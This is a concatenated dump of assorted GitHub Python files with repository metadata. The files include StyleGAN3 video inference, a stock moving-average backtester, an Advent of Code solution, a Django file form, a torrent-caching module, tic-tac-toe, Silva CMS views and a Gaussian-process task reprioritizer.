editor.postprocess_and_smooth_edits(results, edit_latents_end, video_opts)\n editor.generate_edited_video(input_images=cropped_images,\n result_images_smoothed=result_images_smoothed,\n edited_images_smoothed=edited_images_start_smoothed,\n video_handler=video_handler,\n save_name=f\"edited_video_{interfacegan_edit.direction}_start\")\n editor.generate_edited_video(input_images=cropped_images,\n result_images_smoothed=result_images_smoothed,\n edited_images_smoothed=edited_images_end_smoothed,\n video_handler=video_handler,\n save_name=f\"edited_video_{interfacegan_edit.direction}_end\")\n\n if opts.styleclip_directions is not None:\n editor = StyleCLIPVideoEditor(generator=net.decoder, opts=video_opts)\n for styleclip_edit in video_opts.styleclip_edits:\n edited_images, edited_latents = editor.edit(edit_direction=styleclip_edit.target_text,\n alpha=styleclip_edit.alpha,\n beta=styleclip_edit.beta,\n result_latents=result_latents,\n landmarks_transforms=landmarks_transforms)\n edited_images_smoothed = editor.postprocess_and_smooth_edits(results, edited_latents, video_opts)\n editor.generate_edited_video(input_images=cropped_images,\n result_images_smoothed=result_images_smoothed,\n edited_images_smoothed=edited_images_smoothed,\n video_handler=video_handler,\n save_name=styleclip_edit.save_name)\n\n\ndef run_inference(input_paths: List[Path], input_images: List, landmarks_transforms: Dict[str, Any], net,\n opts: TrainOptions):\n results = {\"source_images\": [], \"result_images\": [], \"result_latents\": {}, \"landmarks_transforms\": []}\n with torch.no_grad():\n avg_image = get_average_image(net)\n # run inference one frame at a time (technically can be run in batches, but done for simplicity)\n for input_image, input_path in tqdm(zip(input_images, input_paths)):\n results[\"source_images\"].append(input_image)\n image_name = input_path.name\n if landmarks_transforms is not None:\n if image_name not in landmarks_transforms:\n continue\n image_landmarks_transform = torch.from_numpy(landmarks_transforms[image_name][-1]).cuda()\n else:\n image_landmarks_transform = None\n with torch.no_grad():\n transformed_image = IMAGE_TRANSFORMS(input_image)\n result_batch, latents = run_on_batch(inputs=transformed_image.unsqueeze(0).cuda(),\n net=net,\n opts=opts,\n avg_image=avg_image,\n landmarks_transform=image_landmarks_transform)\n # we'll save the last inversion and latent code\n results[\"result_images\"].append(result_batch[0][-1])\n results[\"result_latents\"][image_name] = latents[0][-1]\n results[\"landmarks_transforms\"].append(image_landmarks_transform)\n return results\n\n\nif __name__ == '__main__':\n run_inference_on_video()\n","repo_name":"yuval-alaluf/stylegan3-editing","sub_path":"inversion/video/inference_on_video.py","file_name":"inference_on_video.py","file_ext":"py","file_size_in_byte":8261,"program_lang":"python","lang":"en","doc_type":"code","stars":622,"dataset":"github-code","pt":"79"} +{"seq_id":"28683065973","text":"class Dog:\n\n # Class object attribute\n species = 'mammal'\n\n def __init__(self, breed, name, has_spots):\n self.breed = breed\n self.name = name\n self.has_spots = has_spots\n\n def bark(self):\n print(\"WOOF !!!\")\n\n\nmy_dog = Dog(breed='Lab', name='Dock', has_spots=True)\nprint(\"type(my_object): \", type(my_dog))\nprint(\"type(my_object): \", my_dog.breed)\nmy_dog.bark()\n\n\nclass Circle:\n\n pi = 3.14\n\n def __init__(self, radius=10):\n self.radius = radius\n self.area = Circle.pi * radius ** 2\n\n def circumference(self):\n return 2 * Circle.pi * self.radius\n\n\ncircle = Circle(5)\nprint(\"circle.area: \", circle.area)\nprint(\"circle.circumference: \", circle.circumference())\n\n\n","repo_name":"thbaymet/python-intro","sub_path":"alphabet/aap_classes.py","file_name":"aap_classes.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"40825276743","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 21 23:12:48 2022\n\n@author: gyzdm\n\"\"\"\n\nimport yfinance as yf\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom datetime import datetime\nimport os\n\n\nclass StockRadar:\n def __init__(self, watch_list, backtrack_output, data_input, start_date):\n self.watch_list = watch_list\n self.data = None\n self.sma = None\n self.backtrack_list = []\n self.transactions = []\n self.backtrack_output = backtrack_output\n self.data_input = data_input\n self.start_date = start_date\n self.__load_data()\n print(os.getcwd())\n \n def __load_data(self):\n watch_list_string = \" \".join(self.watch_list)\n if self.data_input:\n if os.path.exists(self.data_input):\n self.data = pd.read_pickle(self.data_input)\n else:\n self.data = yf.download(watch_list_string, start=self.start_date)\n self.data.to_pickle(self.data_input)\n else:\n self.data = yf.download(watch_list_string, start=self.start_date)\n #self.data.to_csv(self.backtrack_output+'data.csv') \n return\n \n def getMovingAverage(self):\n self.sma_window_sizes = [5,10,20,30,50,100,200]\n self.sma_tokens = [\"SMA{}\".format(window_size) for window_size in self.sma_window_sizes]\n #self.sma = self.data.loc[:,([\"Close\"],self.watch_list)]\n columns = pd.MultiIndex.from_product([self.sma_tokens, self.watch_list], names=['sma_type','token'])\n self.sma = pd.DataFrame(columns = columns)\n for window_size in self.sma_window_sizes:\n sma_token = \"SMA{}\".format(window_size)\n for stock_token in self.watch_list:\n stock_close_prices = self.data[\"Close\"][stock_token].to_frame()\n sma_df = stock_close_prices[stock_token].rolling(window_size).mean()\n self.sma.loc[:,(sma_token,stock_token)] = sma_df\n #self.sma.dropna(inplace=True)\n #self.sma.loc[:,(slice(None),['SPY'])].plot()\n #plt.show()\n print(\"{0} Moving Average Calculation Completed\".format(datetime.now().strftime(\"%H:%M:%S\")))\n return self.sma\n \n def checkSMACrossing(self):\n if not self.sma:\n self.getMovingAverage()\n stock_crossing_tag = []\n data_365day = self.data[\"Close\"]\n data_30day = data_365day[-30:-1]\n for stock_token in self.watch_list:\n close_today = self.data[\"Close\"][stock_token][-1]\n close_yesterday = self.data[\"Close\"][stock_token][-2]\n high_today = self.data[\"High\"][stock_token][-1]\n low_today = self.data[\"Low\"][stock_token][-1]\n change = close_today/close_yesterday-1\n data_365day = self.data[\"Close\"][stock_token]\n data_30day = data_365day[-30:-1]\n rank365 = data_365day.rank(pct=True)\n rank30 = data_30day.rank(pct=True)\n for sma_token in self.sma_tokens:\n sma_today = self.sma[sma_token][stock_token][-1]\n sma_yesterday = self.sma[sma_token][stock_token][-2]\n if close_today > sma_today and close_yesterday < sma_yesterday:\n stock_crossing_tag.append(\"{0} Up Crossing {1} change:{2:+.1%} rank30:{3:.1%} rank365:{4:.1%}\".format(stock_token,sma_token, change,rank30[-1],rank365[-1])) \n elif close_today < sma_today and close_yesterday > sma_yesterday:\n stock_crossing_tag.append(\"{0} Down Crossing {1} change:{2:+.1%} rank30:{3:.1%} rank365:{4:.1%}\".format(stock_token,sma_token, change,rank30[-1],rank365[-1]))\n elif high_today > sma_today and close_yesterday < sma_yesterday:\n stock_crossing_tag.append(\"{} Failed Up Crossing {}\".format(stock_token,sma_token))\n elif low_today < sma_today and close_yesterday > sma_yesterday:\n stock_crossing_tag.append(\"{} Failed Down Crossing {}\".format(stock_token,sma_token))\n print(\"{0} SMA Crossing Checking Completed\".format(datetime.now().strftime(\"%H:%M:%S\")))\n return stock_crossing_tag\n \n def backtrack_sma(self):\n if self.sma is None:\n self.getMovingAverage()\n print(\"{0} Start SMA Backtracking...\".format(datetime.now().strftime(\"%H:%M:%S\")))\n for stock_token in self.watch_list:\n close_prices = self.data[\"Close\"][stock_token]\n initial_balance = 10000\n # SMA strategy\n for window_size in self.sma_window_sizes:\n sma_token = \"SMA{}\".format(window_size)\n print(\"Working on {1} Backtracking {0}\".format(stock_token,sma_token))\n shares = 0\n balance = 0\n next_year = True\n for row in range(close_prices.shape[0]):\n sma_today = self.sma[sma_token][stock_token][row]\n sma_yesterday = self.sma[sma_token][stock_token][row-1]\n if pd.isna(sma_today) or pd.isna(sma_yesterday):\n continue\n close_today = close_prices[row]\n close_yesterday = close_prices[row-1]\n if next_year:\n year = close_prices.index[row].year\n next_year = False\n if window_size>=100 and close_today > sma_today:\n shares_to_buy = initial_balance/close_prices[row]\n shares += shares_to_buy\n balance = 0\n total_asset = shares*close_prices[row]+balance\n self.transactions.append([sma_token,stock_token,close_prices.index[row].year,'buy',shares_to_buy,close_today,\n balance,total_asset,close_prices.index[row].strftime(\"%Y-%m-%d\")]) \n else:\n balance += initial_balance\n year_start_asset = shares*close_prices[row] + balance\n if close_today > sma_today and close_yesterday < sma_yesterday:\n if balance > 0:\n shares_to_buy = balance/close_today\n shares += shares_to_buy\n total_asset = shares*close_today\n balance = 0\n self.transactions.append([sma_token,stock_token,close_prices.index[row].year,'buy',shares_to_buy,close_today,\n balance,total_asset,close_prices.index[row].strftime(\"%Y-%m-%d\")]) \n elif close_today < sma_today and close_yesterday > sma_yesterday:\n if shares>0:\n shares_to_sell = shares\n balance_credits = shares*close_today\n shares =0\n balance+=balance_credits\n total_asset = balance\n self.transactions.append([sma_token,stock_token,close_prices.index[row].year,'sell',shares_to_sell,close_today,\n balance,total_asset,close_prices.index[row].strftime(\"%Y-%m-%d\")]) \n if row == close_prices.shape[0]-1 or close_prices.index[row+1].year>year:\n total_asset = shares*close_prices[row]+balance\n performance = total_asset/year_start_asset - 1\n self.transactions.append([sma_token,stock_token,close_prices.index[row].year,'hold',shares,close_prices[row],\n balance,total_asset,close_prices.index[row].strftime(\"%Y-%m-%d\")])\n self.backtrack_list.append([stock_token,sma_token,year,performance]) \n next_year = True\n print(\"{0} Moving Average Backtrack Calculation Completed\".format(datetime.now().strftime(\"%H:%M:%S\")))\n return\n \n def backtrack_all_in(self):\n sma_token = 'All_In'\n initial_balance = 10000\n for stock_token in self.watch_list:\n print(\"Working on {1} Backtracking {0}\".format(stock_token,sma_token))\n close_prices = self.data[\"Close\"][stock_token]\n shares = 0\n balance = initial_balance\n for row in range(close_prices.shape[0]):\n if pd.isna(close_prices[row]):\n continue\n if shares == 0:\n shares = balance/close_prices[row]\n year = close_prices.index[row].year\n self.transactions.append([sma_token,stock_token,close_prices.index[row].year,'buy',shares,close_prices[row],\n 0,balance,close_prices.index[row].strftime(\"%Y-%m-%d\")])\n balance = 0\n if row == close_prices.shape[0]-1 or close_prices.index[row+1].year>year:\n total_asset = shares*close_prices[row]+balance\n performance = total_asset/initial_balance - 1\n self.transactions.append([sma_token,stock_token,close_prices.index[row].year,'hold',shares,close_prices[row],\n balance,total_asset,close_prices.index[row].strftime(\"%Y-%m-%d\")])\n self.backtrack_list.append([stock_token,sma_token,year,performance]) \n shares = 0\n balance = initial_balance\n print(\"{0} All In Backtrack Calculation Completed\".format(datetime.now().strftime(\"%H:%M:%S\")))\n return\n \n def backtrack_automatic(self):\n sma_tokens = [('Automatic_Daily',0),('Automatic_Monthly',12),('Automatic_Biweekly',24)]\n initial_balance = 10000\n for sma_token,frequency in sma_tokens:\n for stock_token in self.watch_list:\n print(\"Working on {1} Backtracking {0}\".format(stock_token,sma_token))\n close_prices = self.data[\"Close\"][stock_token]\n shares = 0\n next_year = True\n for row in range(close_prices.shape[0]):\n if pd.isna(close_prices[row]):\n continue\n if next_year:\n year = close_prices.index[row].year\n next_year = False\n ndays = len(close_prices[close_prices.index.year == year])\n n_interval = ndays if frequency == 0 else frequency\n period = ndays//n_interval\n balance = initial_balance\n periodic_invest_fund = initial_balance/n_interval\n year_start_asset = shares*close_prices[row] + balance\n if row % period == 0 and balance*1.1>=periodic_invest_fund:\n new_shares=periodic_invest_fund/close_prices[row]\n shares+=new_shares\n balance-=periodic_invest_fund\n total_asset = shares*close_prices[row] + balance\n self.transactions.append([sma_token,stock_token,close_prices.index[row].year,'buy',new_shares,close_prices[row],\n balance,total_asset,close_prices.index[row].strftime(\"%Y-%m-%d\")])\n if row == close_prices.shape[0]-1 or close_prices.index[row+1].year>year:\n total_asset = shares*close_prices[row] + balance\n performance = total_asset/year_start_asset - 1\n self.transactions.append([sma_token,stock_token,close_prices.index[row].year,'hold',new_shares,close_prices[row],\n balance,total_asset,close_prices.index[row].strftime(\"%Y-%m-%d\")])\n self.backtrack_list.append([stock_token,sma_token,year,performance]) \n next_year = True\n print(\"{0} Automatic Backtrack Calculation Completed\".format(datetime.now().strftime(\"%H:%M:%S\")))\n return\n \n def backtrack(self):\n # Automatic Strategy\n self.backtrack_automatic()\n # SMA strategy\n self.backtrack_sma()\n # All in strategy\n self.backtrack_all_in()\n backtrack_df = pd.DataFrame(data=self.backtrack_list,columns = ['Stock','Strategy','Year','Performance'])\n backtrack_df.to_csv(self.backtrack_output+'performance.csv')\n transaction_df = pd.DataFrame(data=self.transactions,columns = ['Strategy','Stock','Year','Transaction','Shares','Price',\n 'Balance','Total Asset','Date'])\n transaction_df.to_csv(self.backtrack_output+'transaction.csv')\n print(\"{0} Backtrack results wirting Completed\".format(datetime.now().strftime(\"%H:%M:%S\")))\n return\n\ndef main_old():\n data = yf.download(\"SPY AAPL\", start=\"2017-01-01\", end=\"2017-04-30\")\n apple = data[\"Close\"][\"AAPL\"]\n msft = yf.Ticker(\"MSFT\")\n # get stock info\n info=msft.info\n \n # get historical market data\n hist = msft.history(period=\"max\")\n \n # show actions (dividends, splits)\n actions = msft.actions\n \n # show sustainability\n sustainability= msft.sustainability\n \n # show analysts recommendations\n recommendations = msft.recommendations\n \n # show news\n news = msft.news\n \n a = 0\n return\n\ndef main():\n #watch_list=[\"SPY\",\"AAPL\"]\n watch_list = [\"AAPL\",\"ADBE\",\"AMD\",\"AMZN\",\"ARKK\",\"ATVI\",\"BABA\",\"BIDU\",\"BILI\",\n \"CRM\",\"DIDIY\",\"DIS\",\"DOCU\",\"EA\",\"EDU\",\"ENPH\",\"FDX\",\"GILD\",\n \"GOOG\",\"HUYA\",\"IAU\",\"JD\",\"JNJ\",\"MA\",\"META\",\"MSFT\",\"MU\",\"NFLX\",\n \"NIO\",\"NTES\",\"NVDA\",\"PARA\",\"PDD\",\"PFSI\",\"PINS\",\"PYPL\",\"QQQ\",\n \"SNAP\",\"SPY\",\"T\",\"TAL\",\"TCEHY\",\"TME\",\"TSLA\",\"TWLO\",\"U\",\"UBER\",\n \"V\",\"VRTX\",\"VXX\",\"VZ\",\"WMT\",\"ZM\"]\n sr = StockRadar(watch_list,r\"C:\\\\Dropbox\\\\Share for Gary\\\\Investment\\\\\",\".\\\\data\\\\data2000.pkl\",\"2000-01-01\")\n sr.backtrack()\n #sma = sr.checkSMACrossing()\n \n \n \n return\n\n\nif __name__ == '__main__':\n main()","repo_name":"gyzdmgqy/stock","sub_path":"Stock.py","file_name":"Stock.py","file_ext":"py","file_size_in_byte":14445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"29000286814","text":"import sys\nimport numpy as np\n\ndef parse_data():\n \"\"\"Parse data into a 2-D numpy array for vector calculations\"\"\"\n return np.array([_make_array(line.strip()) for line in sys.stdin.readlines()])\n\n\ndef gamma_rate(vector_data):\n \"\"\"Return gamma rate as decimal string (rounding up 0.5 to 1)\"\"\"\n length, _ = vector_data.shape\n gamma_vector = vector_data.sum(axis=0) / length\n\n return ''.join([str(int(i)) for i in np.rint(np.nextafter(gamma_vector, gamma_vector + 1))])\n\n\ndef epsilon_rate(binary_string):\n \"\"\"Return corresponding epsilon rate as binary string (bit-wise complement)\"\"\"\n return ''.join([str(int(not int(i))) for i in binary_string])\n\n\ndef multiply_gamma_epsilon(gamma, epsilon):\n \"\"\"Return decimal product of binary strings gamma and epsilon\"\"\"\n return int(gamma, 2) * int(epsilon, 2)\n\n\ndef oxygen_rate(vector_data):\n position = 0\n while vector_data.shape[0] > 1:\n criterion = gamma_rate(vector_data)[position]\n\n # delete rows from data where bit is not matching criterion\n rows_to_delete = np.where(vector_data[:, position] != int(criterion))[0]\n vector_data = np.delete(vector_data, rows_to_delete, axis=0)\n position += 1\n return ''.join([str(int(i)) for i in vector_data[0]])\n\n\ndef co2_rate(vector_data):\n position = 0\n while vector_data.shape[0] > 1:\n criterion = gamma_rate(vector_data)[position]\n\n # delete rows from data where bit is not matching co2 criterion\n # i.e. where it is matching ox criterion\n rows_to_delete = np.where(vector_data[:, position] == int(criterion))[0]\n vector_data = np.delete(vector_data, rows_to_delete, axis=0)\n position += 1\n return ''.join([str(int(i)) for i in vector_data[0]])\n\n\ndef life_support_rating(vector_data):\n \"\"\"Return decimal product of oxygen_rate and co2_rate binary strings\"\"\"\n ox = oxygen_rate(vector_data)\n co2 = co2_rate(vector_data)\n return int(ox, 2) * int(co2, 2)\n\n\ndef _make_array(string_input):\n return np.array([int(i) for i in string_input])\n\n\nif __name__ == '__main__':\n\n data = parse_data()\n\n # Part 1\n gamma = gamma_rate(data)\n epsilon = epsilon_rate(gamma)\n\n solution = multiply_gamma_epsilon(gamma, epsilon)\n print(solution)\n\n # Part 2\n life_support = life_support_rating(data)\n print(life_support)\n","repo_name":"annplaube/aoc_2021","sub_path":"3/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"23966842299","text":"from django import forms\nfrom filer.models.filemodels import File, Folder\n\n\nclass FileForm(forms.ModelForm):\n class Meta:\n fields = ('name', 'file')\n model = File\n\n def __init__(self, *args, **kwargs):\n self.folder_name = kwargs.pop(\"folder_name\", \"Temp\")\n super(FileForm, self).__init__(*args, **kwargs)\n self.fields['name'].required = True\n self.fields['file'].required = True\n\n def save(self, commit=True):\n object = super(FileForm, self).save(commit=False)\n folder, created = Folder.objects.get_or_create(name=self.folder_name)\n object.folder = folder\n object.save()\n return object\n","repo_name":"SmallsLIVE/smallslive","sub_path":"smallslive/oscar_apps/dashboard/files/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"79"} +{"seq_id":"16972444090","text":"from typing import Dict, List, Union\n\nfrom cachetools import cached, TTLCache\n\nfrom app.chain import ChainBase\nfrom app.core.config import settings\nfrom app.core.context import TorrentInfo, Context, MediaInfo\nfrom app.core.metainfo import MetaInfo\nfrom app.db import SessionFactory\nfrom app.db.systemconfig_oper import SystemConfigOper\nfrom app.helper.sites import SitesHelper\nfrom app.log import logger\nfrom app.schemas import Notification\nfrom app.schemas.types import SystemConfigKey, MessageChannel\nfrom app.utils.singleton import Singleton\nfrom app.utils.string import StringUtils\n\n\nclass TorrentsChain(ChainBase, metaclass=Singleton):\n \"\"\"\n 站点首页种子处理链，服务于订阅、刷流等\n \"\"\"\n\n _cache_file = \"__torrents_cache__\"\n\n def __init__(self):\n self._db = SessionFactory()\n super().__init__(self._db)\n self.siteshelper = SitesHelper()\n self.systemconfig = SystemConfigOper()\n\n def remote_refresh(self, channel: MessageChannel, userid: Union[str, int] = None):\n \"\"\"\n 远程刷新订阅，发送消息\n \"\"\"\n self.post_message(Notification(channel=channel,\n title=f\"开始刷新种子 ...\", userid=userid))\n self.refresh()\n self.post_message(Notification(channel=channel,\n title=f\"种子刷新完成！\", userid=userid))\n\n def get_torrents(self) -> Dict[str, List[Context]]:\n \"\"\"\n 获取当前缓存的种子\n \"\"\"\n # 读取缓存\n return self.load_cache(self._cache_file) or {}\n\n @cached(cache=TTLCache(maxsize=128, ttl=600))\n def browse(self, domain: str) -> List[TorrentInfo]:\n \"\"\"\n 浏览站点首页内容，返回种子清单，TTL缓存10分钟\n :param domain: 站点域名\n \"\"\"\n logger.info(f'开始获取站点 {domain} 最新种子 ...')\n site = self.siteshelper.get_indexer(domain)\n if not site:\n logger.error(f'站点 {domain} 不存在！')\n return []\n return self.refresh_torrents(site=site)\n\n def refresh(self) -> Dict[str, List[Context]]:\n \"\"\"\n 刷新站点最新资源，识别并缓存起来\n \"\"\"\n\n # 读取缓存\n torrents_cache = self.get_torrents()\n\n # 所有站点索引\n indexers = self.siteshelper.get_indexers()\n # 配置的Rss站点\n config_indexers = [str(sid) for sid in self.systemconfig.get(SystemConfigKey.RssSites) or []]\n # 遍历站点缓存资源\n for indexer in indexers:\n # 未开启的站点不搜索\n if config_indexers and str(indexer.get(\"id\")) not in config_indexers:\n continue\n domain = StringUtils.get_url_domain(indexer.get(\"domain\"))\n torrents: List[TorrentInfo] = self.browse(domain=domain)\n # 按pubdate降序排列\n torrents.sort(key=lambda x: x.pubdate or '', reverse=True)\n # 取前N条\n torrents = torrents[:settings.CACHE_CONF.get('refresh')]\n if torrents:\n # 过滤出没有处理过的种子\n torrents = [torrent for torrent in torrents\n if f'{torrent.title}{torrent.description}'\n not in [f'{t.torrent_info.title}{t.torrent_info.description}'\n for t in torrents_cache.get(domain) or []]]\n if torrents:\n logger.info(f'{indexer.get(\"name\")} 有 {len(torrents)} 个新种子')\n else:\n logger.info(f'{indexer.get(\"name\")} 没有新种子')\n continue\n for torrent in torrents:\n logger.info(f'处理资源：{torrent.title} ...')\n # 识别\n meta = MetaInfo(title=torrent.title, subtitle=torrent.description)\n # 识别媒体信息\n mediainfo: MediaInfo = self.recognize_media(meta=meta)\n if not mediainfo:\n logger.warn(f'未识别到媒体信息，标题：{torrent.title}')\n # 存储空的媒体信息\n mediainfo = MediaInfo()\n # 清理多余数据\n mediainfo.clear()\n # 上下文\n context = Context(meta_info=meta, media_info=mediainfo, torrent_info=torrent)\n # 添加到缓存\n if not torrents_cache.get(domain):\n torrents_cache[domain] = [context]\n else:\n torrents_cache[domain].append(context)\n # 如果超过了限制条数则移除掉前面的\n if len(torrents_cache[domain]) > settings.CACHE_CONF.get('torrents'):\n torrents_cache[domain] = torrents_cache[domain][-settings.CACHE_CONF.get('torrents'):]\n # 回收资源\n del torrents\n else:\n logger.info(f'{indexer.get(\"name\")} 没有获取到种子')\n # 保存缓存到本地\n self.save_cache(torrents_cache, self._cache_file)\n # 返回\n return torrents_cache\n","repo_name":"2xx8/MoviePilot","sub_path":"app/chain/torrents.py","file_name":"torrents.py","file_ext":"py","file_size_in_byte":5295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"79"} +{"seq_id":"24430622414","text":"import textwrap\n\nempty_char = '_'\nx_char = 'X'\no_char = 'O'\nnumber_of_spaces = 9\nwin_count_dict = {x_char: 0, o_char: 0}\ngrid_string = number_of_spaces * empty_char\nmove_count = 0\n\n\ndef print_grid():\n grid = [list(row) for row in textwrap.wrap(grid_string, 3)]\n\n print('---------')\n for row in grid:\n row_string = ' '.join(row)\n print(f\"| {row_string} |\")\n print('---------')\n\n\ndef grid_filled():\n return True if grid_string.count(empty_char) == 0 else False\n\n\ndef number_of_turns(player_char):\n return grid_string.count(player_char)\n\n\ndef count_wins():\n top = grid_string[0:3]\n middle = grid_string[3:6]\n bottom = grid_string[6:9]\n left = grid_string[0::3]\n center = grid_string[1::3]\n right = grid_string[2::3]\n diagonal_1_to_9 = grid_string[0::4]\n diagonal_7_to_3 = grid_string[2:8:2]\n\n for char in list(win_count_dict):\n win_count_dict[char] = [top, middle, bottom, left, center, right,\n diagonal_1_to_9, diagonal_7_to_3\n ].count(char * 3)\n\n\ndef should_the_game_continue():\n count_wins()\n if (win_count_dict[x_char] > 0 and win_count_dict[o_char] > 0) or\\\n (abs(number_of_turns(x_char) - number_of_turns(o_char)) >= 2):\n state = 'Impossible'\n elif grid_filled() and win_count_dict[x_char] == 0 and win_count_dict[o_char] == 0:\n state = 'Draw'\n elif win_count_dict[x_char] > 0:\n state = 'X wins'\n elif win_count_dict[o_char] > 0:\n state = 'O wins'\n else:\n # No End State has been triggered, the game should continue\n return True\n\n # An End State has been triggered, the game should NOT continue\n print(state)\n return False\n\n\ndef make_move(char):\n index = None\n\n while True:\n try:\n # Attempts to get the input and convert the string into integers\n coordinates = [int(string_input) for string_input in input().split(' ')]\n except ValueError:\n print('You should enter numbers!')\n continue\n\n # Validates Input is in the correct range\n if coordinates[0] < 1 or coordinates[0] > 3 or coordinates[1] < 1 or coordinates[1] > 3:\n print('Coordinates should be from 1 to 3!')\n continue\n\n # Converts the pass 2 integer input into the index of the grid_string\n index = (3 * (coordinates[0] - 1)) + (coordinates[1] - 1)\n\n if grid_string[index] != empty_char:\n print('This cell is occupied! Choose another one!')\n continue\n else:\n break\n\n grid_list = list(grid_string)\n grid_list[index] = char\n return ''.join(grid_list)\n\n\n# Print the empty grid and start the Game\nprint_grid()\n\nwhile should_the_game_continue():\n if move_count % 2 == 0:\n grid_string = make_move(x_char)\n else:\n grid_string = make_move(o_char)\n move_count += 1\n print_grid()\n\n","repo_name":"notdevinclark/Simple-Tic-Tac-Toe-Python","sub_path":"tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":2943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"23110908582","text":"from five import grok\n\nfrom zope.component import getUtility\nfrom zope import schema\nfrom zope.schema.interfaces import IContextSourceBinder\nfrom zope.schema.vocabulary import SimpleTerm, SimpleVocabulary\n\nfrom Products.SilvaMetadata.interfaces import IMetadataService\n\nfrom silva.core.interfaces import IAutoTOC\nfrom silva.core.views import views as silvaviews\nfrom silva.core.conf.interfaces import ITitledContent\nfrom silva.core.interfaces import IAddableContents, IPublishable\nfrom silva.translations import translate as _\nfrom zeam.form import silva as silvaforms\n\n\n@apply\ndef sort_order_source():\n orders = []\n for key, title in [\n ('silva', _(u'Silva folder order')),\n ('alpha', _(u'Alphabetically')),\n ('reversealpha', _(u'Reverse alphabetically')),\n ('chronmod', _(u'Chronologically by modification date')),\n ('rchronmod', _(u'Reverse chronologically by modification date'))]:\n orders.append(SimpleTerm(value=key, token=key, title=title))\n return SimpleVocabulary(orders)\n\n\n@grok.provider(IContextSourceBinder)\ndef silva_content_types(context):\n contents = []\n container = context.get_container()\n addables = IAddableContents(container)\n for addable in addables.get_container_addables(IPublishable):\n contents.append(SimpleTerm(\n value=addable,\n token=addable,\n title=addable))\n return SimpleVocabulary(contents)\n\n\nclass IAutoTOCSchema(ITitledContent):\n _local_types = schema.Set(\n title=_(u\"Types to list\"),\n description=_(\n u\"Select here the content types you wish to see in \"\n u\"the table of content. You need to selected container types \"\n u\"(e.g. Folder and Publication) in order for the TOC to \"\n u\"display their contents.\"),\n value_type=schema.Choice(source=silva_content_types),\n default=set(['Silva Document', 'Silva Folder', 'Silva Publication']),\n required=True)\n _toc_depth = schema.Int(\n title=_(u\"Depth\"),\n description=_(\n u\"The depth to which the Table of Contents will be rendered \"\n u\"(-1 means unlimited depth.)\"),\n default=-1,\n min=-1,\n max=99,\n required=True)\n _display_desc_flag = schema.Bool(\n title=_(u\"Display description\"),\n description=_(\n u\"If selected, each item displayed will include its title \"\n u\"and metadata description, if available. \"),\n default=False,\n required=True)\n _show_icon = schema.Bool(\n title=_(\"Show icon\"),\n description=_(\n u\"If selected, each item displayed will include its icon. \"),\n default=False,\n required=True)\n _show_container_link = schema.Bool(\n title=_(\"Show container link\"),\n description=_(\n u\"If selected, there will be a link to the container \"\n u\"(as an H3) before the TOC list.\"),\n default=False,\n required=True)\n _sort_order = schema.Choice(\n title=_(u\"Sort order\"),\n description=_(u\"The order items in a container will be sorted\"),\n source=sort_order_source,\n default='silva',\n required=True)\n\n\n@silvaforms.customize(name='_toc_depth', schema=IAutoTOCSchema)\ndef customize_toc_depth(field):\n field.htmlAttributes['style'] = 'width: 4em;'\n\n\nclass AutoTOCAddForm(silvaforms.SMIAddForm):\n \"\"\"Add an Auto TOC.\n \"\"\"\n grok.context(IAutoTOC)\n grok.name(u'Silva AutoTOC')\n\n fields = silvaforms.Fields(IAutoTOCSchema)\n\n\nclass AutoTOCEditForm(silvaforms.SMIEditForm):\n \"\"\"Add an Auto TOC.\n \"\"\"\n grok.context(IAutoTOC)\n\n fields = silvaforms.Fields(IAutoTOCSchema).omit('id')\n\n\nclass AutoTOCView(silvaviews.View):\n grok.context(IAutoTOC)\n\n def update(self):\n metadata = getUtility(IMetadataService)\n self.description = metadata.getMetadataValue(\n self.context, 'silva-extra', 'content_description', acquire=0)\n","repo_name":"silvacms/Products.Silva","sub_path":"Products/Silva/AutoTOC/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3988,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"79"} +{"seq_id":"16494065337","text":"import argparse\nimport yaml\nfrom typing import Dict, List\nimport numpy as np\nimport json\n\nfrom sklearn.gaussian_process import GaussianProcessRegressor, kernels\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.pipeline import Pipeline\n\nfrom proxystore.store import get_store\n\nimport lifecycle\n\n\ndef reprioritize_queue(training_data: List[List],\n pred_data: List[np.array],\n gpr: GaussianProcessRegressor,\n opt_delay: float = 0.5) -> np.ndarray:\n \"\"\"Determine an optimal order in which to excecute a task queue\n\n Args:\n database: Inputs and outputs of completed simulations\n gpr: Gaussian-process regression model\n queue: Existing task queue\n opt_delay: Minimum run time of this function\n Returns:\n Re-ordered priorities of queue\n \"\"\"\n # can be called via funcx so imports\n import time\n import numpy as np\n import scipy\n import datetime\n\n start = datetime.datetime.now(tz=datetime.timezone.utc).timestamp()\n time.sleep(opt_delay)\n\n # Update the GPR with the available training data\n train_X, train_y = zip(*training_data)\n gpr.fit(np.vstack(train_X), train_y)\n\n # Run GPR on the existing task queue\n pred_y, pred_std = gpr.predict(pred_data, return_std=True)\n best_so_far = np.min(train_y)\n # MB: FIXED\n # ei = (best_so_far - pred_y) / pred_std\n ei = (best_so_far - pred_y) * scipy.stats.norm(0, 1).cdf((best_so_far - pred_y) / pred_std) + pred_std * scipy.stats.norm(0, 1).pdf((best_so_far - pred_y) / pred_std)\n\n # Argument sort the EI score, ordered with largest tasks first\n end = datetime.datetime.now(tz=datetime.timezone.utc).timestamp()\n return start, end, np.argsort(-1 * ei)\n\n\ndef reprioritize_fx(fx, completed, pred_data, gpr):\n store = get_store('globus')\n gpr_proxy = store.proxy(gpr)\n ft = fx.submit(reprioritize_queue, completed, pred_data, gpr_proxy)\n return ft.result()\n\n\ndef reprioritize(task_queue, fx, 